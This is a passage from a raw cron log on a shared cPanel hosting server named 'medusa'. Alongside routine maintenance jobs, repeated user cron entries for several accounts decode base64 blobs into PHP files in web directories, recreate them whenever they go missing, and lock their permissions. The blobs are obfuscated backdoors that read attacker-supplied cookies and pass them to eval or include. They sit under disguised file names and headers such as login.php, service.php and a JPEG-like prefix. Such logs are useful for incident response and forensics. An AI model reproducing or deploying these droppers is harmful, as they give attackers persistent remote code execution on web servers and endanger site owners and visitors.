Q2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:07:02 medusa CROND[15807]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 14:07:02 medusa CROND[15809]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:07:02 medusa CROND[15804]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 14:08:01 medusa CROND[7340]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 14:08:01 medusa CROND[7467]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 14:08:01 medusa CROND[7468]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 14:08:01 medusa CROND[7469]: (root) CMD (/usr/bin/flock -n /var/run/setup_cl_plus.cronlock /usr/share/cloudlinux/cl_plus/manage_clplus &> /dev/null)
Mar  1 14:08:01 medusa CROND[7470]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 14:08:01 medusa CROND[7471]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 14:08:01 medusa CROND[7473]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 14:08:01 medusa CROND[7474]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:08:01 medusa CROND[7472]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 14:08:01 medusa CROND[7477]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 14:08:01 medusa CROND[7478]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:08:01 medusa CROND[7491]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:08:01 medusa CROND[7490]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 14:08:01 medusa CROND[7489]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:09:01 medusa CROND[31637]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 14:09:01 medusa CROND[31702]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 14:09:01 medusa CROND[31708]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Mar  1 14:09:02 medusa CROND[31820]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 14:09:02 medusa CROND[31821]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 14:09:02 medusa CROND[31822]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:09:02 medusa CROND[31823]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 14:09:02 medusa CROND[31826]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 14:09:02 medusa CROND[31828]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:09:02 medusa CROND[31831]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:09:02 medusa CROND[31832]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 14:09:02 medusa CROND[31837]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:09:02 medusa CROND[31838]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 14:10:01 medusa CROND[23280]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 14:10:01 medusa CROND[23290]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 14:10:01 medusa CROND[23297]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
